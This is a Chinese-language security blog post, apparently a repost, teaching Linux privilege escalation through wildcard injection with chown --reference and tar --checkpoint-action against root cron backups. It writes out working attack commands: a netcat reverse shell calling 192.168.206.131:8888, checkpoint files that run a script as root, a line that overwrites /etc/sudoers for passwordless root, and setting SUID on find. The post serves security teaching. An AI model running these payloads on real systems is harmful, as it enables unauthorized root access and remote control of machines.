权限提升之通配符注入

admin 2025年6月13日20:57:00评论11 views字数 4632阅读15分26秒阅读模式

介绍

这是一种有趣的老式的UNIX黑客技术,可能很多人都没听过,一些UNIX工具(tar、chown)可能导致整个系统受损

通配符

通配符是一个字符或一组字符,可以用作某些范围/类别的字符的替换。在执行任何其他作之前,shell 会解释通配符。

*星号与文件名中任意数量的字符匹配,包括无字符。通常用于匹配任何字符,包括数字、字母和符号。你可以使用星号指定应用程序需要查找的字符相应位置的任何字符。例如,如果要显示目录中所有的C文件,则可以使用以下命令:

权限提升之通配符注入

问号与任何单个字符匹配。

在文件名中,问号占用了字符位置,能够匹配任何字符。例如,如果你想列出所有名称以“a”为第一个字母、第三个字母为“c”以及倒数第二个字母是小写字母“x”的文件,可以使用以下命令:

权限提升之通配符注入

[]方括号通配符用于匹配指定字符集范围中的一个字符。如果需要匹配一小段字符集范围,可以使用该通配符
。在此示例中,“

权限提升之通配符注入
*”匹配所有以“a”、“d"开头的文件。运行以上命令后,控制台会输出名称为“abc.txt”和“def.txt”的文件。权限提升之通配符注入

{}花括号自动将多个选项组合成唯一的字符串,在此示例中,“{ab, de}*”匹配所有以“ab”,或“de”开头的文件。运行以上命令后,控制台会输出名称为“abc.txt”,以及“def.txt”的文件。

权限提升之通配符注入

– [ ] 中使用的连字符表示字符范围。

~单词开头的波浪号扩展为主目录的名称。将其他用户的登录名附加到字符中,它引用该用户的主目录。

例子1

mkdir wildcd wildecho "Hello Friends" > file1echo "This is Wildcard Injection" > file2echo "take help" > --help
权限提升之通配符注入

之后用cat命令尝试打开上面创建的三个文件

但是,前两个文件可以正常打开,并显示与上面相同的信息。但是 cat 命令无法读取写入 –help 文件中的信息。在打开-help文件时,它不会显示“take help”,而是从自己的库中调用自己的-help选项,这种类型的技巧被称为通配符狂野

权限提升之通配符注入

通过 Chown 劫持文件所有者

chown命令在类 Unix 系统上用于修改文件系统文件、目录的所有权,并且只能由超级用户更改。假设我们的系统中有三个用户。

超级用户 (root) – 执行管理员级别的任务,例如 run chown 命令。

Non-root-user1 (raj) – 执行普通作业,例如创建文件

Non-root-user2 (aarti) – 执行普通作业,例如创建文件

恶意用户 (Ignite) – 执行臭名昭著的任务,例如可能导致文件所有者劫持的 Chown 文件引用技巧。

在下图中,您可以观察到所有 PHP 文件都归 user: raj 所有。现在,当用户:ignite 发现所有 PHP 文件都是用户 raj 自己的时,他自己在同一个目录中诱导了两个 PHP 文件,并通过执行以下命令使用文件引用技巧来劫持文件所有者。

ls -al echo "" > my.php

echo > --reference=my.php

权限提升之通配符注入

正如你所注意到的,大部分文件归用户 raj 所有,最后两个文件归用户 ignite 所有,当超级用户应该在通配符的帮助下更改所有具有 PHP 扩展名的文件的所有权时,所有文件都将间接归属于用户 ignite 的所有权。

正如您所观察到的,当 root 用户运行 chown 命令将所有 PHP 文件的所有权授予用户时:aarti,发生了错误,结果,所有 PHP 文件被用户:ignite 自动捕获。

chown -R aarti:aarti *.php ls -al概念信息

如果您曾经探索过 tar 来读取它的可选开关,那么您将找到以下选项。

–reference=RFILE (使用 RFILE 的所有者和组,而不是指定 OWNER: GROUP 值)

在我们的例子中 user: ignite 执行了以下命令:

echo "" > my.php echo > --reference=my.php然后 root 用户借助通配符来更改所有权。问题是 'chown' 命令行中使用的通配符获取了主观的 '–reference=.my.php' 文件,并将其作为选项传递给命令行中的 chown 命令。权限提升之通配符注入

通过 tar 进行后开发(第一阶段)

实验室设置

Tar 是一种非常常见的 UNIX 程序,用于创建和提取档案。借助它,我们将对任何目录进行压缩备份。例如,创建一个新目录并授予其 ALL 权限,然后创建一些文件。

权限提升之通配符注入

现在在 crontab 的帮助下安排一个任务,以运行 tar 存档程序,以便每 1 分钟从 /var/backups 内部备份 /html。

nano /etc/crontab */1 *   * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*
权限提升之通配符注入

让我们通过执行以下命令来验证计划是否正常工作。

cd /var/backup ls
权限提升之通配符注入

Tar 通配符注入 

权限提升启动您的攻击机器,首先破坏目标系统,然后进入权限提升阶段。假设我通过 ssh 成功登录受害者的机器,并访问了非 root 用户终端。然后打开 crontab 查看是否调度了任何作业。cat /etc/crontab在这里,我们注意到目标每 1 分钟安排一个 tar 存档程序,并且我们知道 cron 作业以 root 身份运行。让我们尝试利用。权限提升之通配符注入在新终端上,使用 msfvenom 生成 netcat 反向 shell 恶意代码以实现 netcat 反向连接,并为此输入以下命令。msfvenom -p cmd/unix/reverse_netcat lhost=192.168.206.131 lport=8888 R

复制生成的有效负载并将其粘贴到受害者的 shell 中,如下所述。

nc -lvp 8888

权限提升之通配符注入
  1. mkfifo /tmp/s:创建命名管道(FIFO文件)

  2. /bin/sh -i < /tmp/s:将Shell的输入重定向到管道

  3. 2>&1:将错误输出合并到标准输出

  4. nc 192.168.206.131 8888 > /tmp/s:用Netcat连接攻击者,并将接收的数据写入管道

  5. rm /tmp/s:清理痕迹

现在,按照如下所述粘贴上面复制的有效负载,并在受害者的 tty shell 中运行以下命令。

echo "mkfifo /tmp/lhennp; nc 192.168.206.131 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.shecho "" > "--checkpoint-action=exec=sh shell.sh"echo "" > --checkpoint=1tar cf archive.tar *

上述命令可帮助 tar 命令在存档第一个文件后 shell.sh 运行文件。由于 tar 命令由于 crontab 而以 root 身份运行,因此具有生成 netcat shell 并将其发送到 8888 端口攻击平台的效果。如果您返回侦听器所在的终端窗口,您将在 1 分钟后获得受害者的反向连接。这个最后肯定是root权限因为计划任务是root,我这个因为提前开的nc,请运行之后再开nc这样会使root权限

权限提升之通配符注入概念信息

如果您曾经探索过 tar 来读取它的可选开关,那么您将找到以下选项。

–checkpoint[=NUMBER] 显示每条 Numbers 记录的进度消息(默认为 10)

–checkpoint-action=在每个检查点上执行 ACTION

有一个 '–checkpoint-action' 选项,它将指定到达检查点时将执行的程序。主要是,这允许我们运行任意命令。因此,选项 '–checkpoint=1' 和 '–checkpoint-action=exec=sh shell.sh' 作为命令行选项传递给 'tar' 程序。

通过 tar 进行后开发(第二阶段)

实验设置

有多种方法可以进行压缩备份,并且还可以应用多种技术进行权限提升。在这个阶段,在 tar 的帮助下,我们将对目录进行压缩备份。例如,创建一个要备份的新目录并授予其 ALL 权限,然后创建一些文件。

cd /tmpmkdir datachmod 777 datacd dataecho "" > f1echo "" > f2echo "" > f3ls

现在在另一个目录在根目录中编写一个 bash 脚本,以便在 tar 存档程序的帮助下备份 /tmp/data。

mkdir infocd infonano script.shchmod 777 script.sh
#!/bin/bash
cd /tmp/datatar cf /info/backup.tgz *

现在在 crontab 的帮助下安排一个任务,以每 1 分钟运行 tar 存档程序以备份 /var/backups 中的

nano /etc/crontab                                   */1 *   * * *   root    /info/script.sh

1 分钟后,会注意到 backup.tgz 文件在 info 目录中生成。

Tar 通配符注入

注入 netcat 反向_shell 以进行权限提升

启动您的攻击机器,首先破坏目标系统,然后进入权限提升阶段。假设我通过 ssh 成功登录受害者的机器,并访问了非 root 用户终端。然后打开 crontab 查看是否调度了任何作业。

权限提升之通配符注入在这里,我们注意到目标每 1 分钟安排一个 bash 程序脚本,并且我们知道 cron 作业以 root 身份运行。攻击者读取 script.sh 内编写的程序的那一刻,他就可以应用 tar 通配符注入。如上所述再次生成 netcat 反向 shell 有效负载。权限提升之通配符注入

Tar 通配符注入 (第二种方法)

利用 Sudoers 文件进行权限提升

基本上,借助通配符注入,攻击者想要获得系统的最高权限,因此,他会尝试在 tar 的帮助下注入一些恶意代码以进行 root 访问。但是有多种方法可以获取 root 访问权限,因此您可以应用以下技术进行权限提升。

假设您将受害者的计算机作为非 root 用户,并且为了权限提升,要么获得 root 访问权限,要么尝试通过添加非 root 用户 sudoers 文件来授予非 root 用户 sudo 权限。因此,您可以借助以下命令。

echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.shecho "" > "--checkpoint-action=exec=sh demo.sh"echo "" > --checkpoint=1tar cf archive.tar *

在上述命令的帮助下,我们尝试向用户授予 root 权限:ignite 和 1 分钟。1 分钟后,我们成功拥有根账户。

sudo -lsudo bashwhoami
权限提升之通配符注入

Tar 通配符注入 (第三种方法)

权限提升 - 授予系统二进制文件的 SUID 权限

借助 tar 注入有多种方法可以提升权限,但我们讨论的方法很少。假设您将受害者的计算机作为非 root 用户,并且为了权限提升,您可以尝试为任何系统二进制文件启用 SUID 位,同样,您可以借助以下命令来获取 root 访问权限。

echo "chmod u+s /usr/bin/find" > test.shecho "" > "--checkpoint-action=exec=sh test.sh"echo "" > --checkpoint=1tar cf archive.tar *ls -al /usr/bin/findfind f1 -exec "whoami" ;rootfind f1 -exec "/bin/sh" ;idwhoami
权限提升之通配符注入
来源:【https://www.freebuf.com/articles/web/433166.html】

原文始发于微信公众号(船山信安):权限提升之通配符注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月13日20:57:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   权限提升之通配符注入https://cn-sec.com/archives/4160763.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息